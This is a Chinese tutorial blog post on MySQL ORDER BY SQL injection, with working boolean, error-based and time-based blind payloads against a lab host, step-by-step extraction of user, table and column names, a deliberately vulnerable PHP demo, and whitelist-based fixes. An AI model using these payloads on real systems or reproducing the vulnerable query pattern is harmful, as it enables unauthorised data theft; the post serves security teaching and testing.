前言

最近在做一些漏洞盒子后台项目的总结,在盒子多期众测项目中,发现注入类的漏洞占比较大。其中Order By注入型的漏洞也占挺大一部分比例,这类漏洞也是白帽子乐意提交的类型(奖金高、被过滤概率小)。今天给大家分享下一些关于Order By的有趣的经验。

何为order by 注入

本文讨论的内容指可控制的位置在order by子句后,如下order参数可控:select * from goods order by $_GET['order']

注入简单判断

在早期注入大量存在的时候,利用order by子句进行快速猜解表中的列数,再配合union select语句进行回显。在测试时,测试者可以通过修改order参数值,比如调整为较大的整型数,再依据回显情况来判断具体表中包含的列数。

在不知道列名的情况下可以通过列的的序号来指代相应的列。但是经过测试这里无法做运算,如order=3-1 和order=2是不一样的。

http://192.168.239.2:81/?order=11 错误
http://192.168.239.2:81/?order=1 正常

进一步构造Payload

前面的判断并不是绝对的,我们需要构造出类似and 1=1and 1=2的Payload以便于注入出数据。

http://192.168.239.2:81/?order=IF(1=1,name,price) 通过name字段排序
http://192.168.239.2:81/?order=IF(1=2,name,price) 通过price字段排序
/?order=(CASE+WHEN+(1=1)+THEN+name+ELSE+price+END) 通过name字段排序
/?order=(CASE+WHEN+(1=2)+THEN+name+ELSE+price+END) 通过price字段排序
http://192.168.239.2:81/?order=IFNULL(NULL,price) 通过price字段排序
http://192.168.239.2:81/?order=IFNULL(NULL,name) 通过name字段排序

另外利用rand函数也能达到类似的效果,可以观测到排序的结果不一样

http://192.168.239.2:81/?order=rand(1=1)
http://192.168.239.2:81/?order=rand(1=2)

利用报错

在有些情况下无法知道列名,而且也不太直观的去判断两次请求的差别,如下用IF语句为例。

返回多条记录

http://192.168.239.2:81/?order=IF(1=1,1,(select+1+union+select+2)) 正确
http://192.168.239.2:81/?order=IF(1=2,1,(select+1+union+select+2)) 错误
/?order=IF(1=1,1,(select+1+from+information_schema.tables)) 正常
/?order=IF(1=2,1,(select+1+from+information_schema.tables)) 错误

利用regexp

http://192.168.239.2:81/?order=(select+1+regexp+if(1=1,1,0x00)) 正常
http://192.168.239.2:81/?order=(select+1+regexp+if(1=2,1,0x00)) 错误

利用updatexml

http://192.168.239.2:81/?order=updatexml(1,if(1=1,1,user()),1) 正确
http://192.168.239.2:81/?order=updatexml(1,if(1=2,1,user()),1) 错误

利用extractvalue

http://192.168.239.2:81/?order=extractvalue(1,if(1=1,1,user())) 正确
http://192.168.239.2:81/?order=extractvalue(1,if(1=2,1,user())) 错误

基于时间的盲注

注意如果直接if(1=2,1,SLEEP(2)),sleep时间将会变成2当前表中记录的数目,还有比如执行BENCHMARK(1000000,100100);等函数,将会对服务器造成一定的拒绝服务攻击。

/?order=if(1=1,1,(SELECT(1)FROM(SELECT(SLEEP(2)))test)) 正常响应时间
/?order=if(1=2,1,(SELECT(1)FROM(SELECT(SLEEP(2)))test)) sleep 2秒

数据猜解

以猜解user()root@localhost为例子,由于只能一位一位猜解,可以利用SUBSTR,SUBSTRING,MID,以及leftright可以精准分割出每一位子串。然后就是比较操作了可以利用=,like,regexp等。这里要注意like是不区分大小写。

通过下可以得知user()第一位为r,ascii码的16进制为0x72

http://192.168.239.2:81/?order=(select+1+regexp+if(substring(user(),1,1)=0x72,1,0x00)) 正确
http://192.168.239.2:81/?order=(select+1+regexp+if(substring(user(),1,1)=0x71,1,0x00)) 错误

猜解当前数据库的表名:

/?order=(select+1+regexp+if(substring((select+concat(table_name)from+information_schema.tables+where+table_schema%3ddatabase()+limit+0,1),1,1)=0x67,1,0x00)) 正确
/?order=(select+1+regexp+if(substring((select+concat(table_name)from+information_schema.tables+where+table_schema%3ddatabase()+limit+0,1),1,1)=0x66,1,0x00)) 错误

猜解指定表名中的列名:

/?order=(select+1+regexp+if(substring((select+concat(column_name)from+information_schema.columns+where+table_schema%3ddatabase()+and+table_name%3d0x676f6f6473+limit+0,1),1,1)=0x69,1,0x00)) 正常
/?order=(select+1+regexp+if(substring((select+concat(column_name)from+information_schema.columns+where+table_schema%3ddatabase()+and+table_name%3d0x676f6f6473+limit+0,1),1,1)=0x68,1,0x00)) 错误

sqlmap测试

在没有过滤的情况下是能够检测到注入的,如下图:

附录服务端代码

<?php
error_reporting(0);
session_start();
mysql_connect("127.0.0.1", "root", "root") or die("Database connection failed ");
mysql_select_db("sqlidemo") or die("Select database failed");$order = $_GET['order'] ? $_GET['order'] : 'name';
$sql = "select id,name,price from goods order by $order";
$result = mysql_query($sql);
$reslist = array();
while($row = mysql_fetch_array($result, MYSQL_ASSOC))
{array_push($reslist, $row);
}
echo json_encode($reslist);
create database sqlidemo;
use sqlidemo;
create table goods (id int(4) not null primary key auto_increment, name char(32) not null, price int(4) not null);
insert into goods (name, price) values("apple", 10);
insert into goods (name, price) values("banana", 15);
insert into goods (name, price) values("peach", 20);

修复建议

这个问题的是由于攻击者通过测试,了解到应用程序对数据对象进行了直接引用。该类问题可以归纳到OWASP-2013中A4(不安全的对象直接引用)。常见的修复方法如下:

1.通过正则表达式进行字符串过滤。只允许字段中出现字母、数字、下划线。

2.通过白名单思路,使用间接对象引用。前端传递引用数字或者字符串等,用于与后端做数组映射,这样可以隐藏数据库数据字典效果,避免直接引用带来的危害。

 <?php $orderby_whitelist = array(  "apple" => "apple ASC",  "applerev" => "apple DESC", "daterev" => "banana DESC", "DEFAULT" => "peach"); $order = isset($_GET["order"]) ? $_GET["order"] : "DEFAULT";
$order_expr = array_key_exists($order, $orderby_whitelist) ? $orderby_whitelist[$order] : $orderby_whitelist["DEFAULT"];
mysql_query("SELECT ... FROM ... ORDER BY $order_expr");

参考资料

http://xdxd.love/2016/03/07/order-by%E6%B3%A8%E5%85%A5%E7%82%B9%E5%88%A9%E7%94%A8%E6%96%B9%E5%BC%8F/

https://dev.mysql.com/doc/refman/5.7/en/control-flow-functions.html

https://dev.mysql.com/doc/refman/5.7/en/string-functions.html

潜心,不会编程的不是好黑客更不是项目经理,只会简简单单的脚本谈不上脚本小子;只会皮毛却自以为是那只能说是瞎扯爱好都谈不上-----潜心修炼不妄语。

转载于:https://www.cnblogs.com/firstdream/p/8385943.html

Mysql Order By 注入总结相关推荐

  1. 遭遇一次MySQL猜解注入攻击

    遭遇一次MySQL猜解注入攻击 前些日子数据库被入侵,文章的阅读数都被纂改了,还好及时发现并做好备份.查一下 MySQL 语句记录,发现这么原来是这么一句 SQL 在捣鬼: 1 UPDATE tabl ...

  2. mysql union as 注入_sql注入入门 之 mysql 常规注入 [ union方式 ]

    1,常规数字型 mysql 实例注入点,如下:1https://www.vuln.com/md_materia_profile_view.php?viewid=2 2,依旧先尝试下经典的单引号,如下, ...

  3. SQL注入之order by注入与limit注入

    SQL注入之order by注入与limit注入 order by注入 什么是order by 判断注入类型 注入方式 1.和union查询一块使用 2.基于if语句盲注(数字型) 3.基于时间的盲注 ...

  4. php操作mysql防止sql注入(合集)

    本文将从sql注入风险说起,并且比较addslashes.mysql_escape_string.mysql_real_escape_string.mysqli和pdo的预处理的区别. 当一个变量从表 ...

  5. php mysql 防 sql注入_php 防sql注入方法

    php防sql注入的方法:1.使用mysql_real_escape_string方法转义SQL语句中使用的字符串中的特殊字符:2.打开magic_quotes_gpc来防止SQL注入:3.通过自定义 ...

  6. mysql注入实例获取答案_本文实例讲述了MySQL解决SQL注入的另类方法。分享给大家供大家参考,具体如下:问题解读我觉得,这个问题每年带来的成本可以高达数十亿美元了。本文就来谈谈,...

    本文实例讲述了MySQL解决SQL注入的另类方法.分享给大家供大家参考,具体如下: 问题解读 我觉得,这个问题每年带来的成本可以高达数十亿美元了.本文就来谈谈,假定我们有如下 SQL 模板语句: se ...

  7. 雷林鹏分享:MySQL 及 SQL 注入

    MySQL 及 SQL 注入 如果您通过网页获取用户输入的数据并将其插入一个MySQL数据库,那么就有可能发生SQL注入安全的问题. 本章节将为大家介绍如何防止SQL注入,并通过脚本来过滤SQL中注入 ...

  8. MySQL Order by 语句用法与优化详解

    Order by语句是用来排序的,经常我们会使用到Order by来进行排序,下面我给大家来讲讲Order by用法与优化排序,有需要的同学可参考 MySQL Order By keyword是用来给 ...

  9. mysql div 没有小数,mysql order by limit 的一个坑

    mysql order by limit 的一个坑 分页查询的时候遇到的坑: 发现的问题: 对单个无索引的字段进行排序后limit .发现当被排序字段有相同值时并且在limit范围内,取的值并不是正常 ...

最新文章

  1. php 回调通知 连连支付_连连支付,或微信或支付宝支付,商品名称最后一个字乱码,php解决...
  2. Centos7访问本地电脑共享文件夹遇到的问题
  3. Jmeter插件-dubbo
  4. 米斯特白帽培训讲义 漏洞篇 文件包含
  5. mfc之解决vs2010调试监视器(MSVSMON.EXE)未能启动的问题
  6. HTML — 快速开发总结篇
  7. java图的邻接表实现两种方式及实例应用分析
  8. 3DMM及eos人脸重建
  9. 计算机exce常用功能,EXCEL常用函数介绍(1)EXCEL 函数 -电脑资料
  10. 各种数据库中的dual表
  11. typeof和instanceof的区别
  12. Origin 纵坐标名称栏中插入公式
  13. InputStream和FileInputStream
  14. Linux下time/timestamp相关。
  15. 深入理解Solaris X64系统调用
  16. 李开复给中国大学生的第三封信:成功、自信、快乐
  17. 拖延症:关于如何停止拖延的科学指南
  18. aop - spring如何选择、创建代理bean
  19. 超级IP哈利波特改编,网易这款刷爆朋友圈的手游究竟怎么样?
  20. 手把手教你用Hexo搭建免费个人博客

热门文章

  1. 腾讯基于 Flink SQL 的功能扩展与深度优化实践
  2. 跟随弹幕停不下来?智慧文娱还有哪些新玩法
  3. 阿里巴巴计算机视觉领域最强阵容集结完毕团体参加CVPR会议
  4. pythonint切片_python-切片
  5. Seeed Raspberry Pi广角摄像/相机模块 支持Pi所有版本 OV5647
  6. 上线4年从畅销Top 200到Top 20,这款刀塔传奇like卡牌正在美国市场逆流而上
  7. 不能错过的RTS经典:《蘑菇战争2》是如何做玩法创新的?
  8. Unity联网游戏基础原理与字节数组
  9. LOL手游诺手对线技巧,上分率提高60%,战神玩家推荐玩法
  10. Squid、Varinsh和Nginx有什么区别,工作中你怎么选择?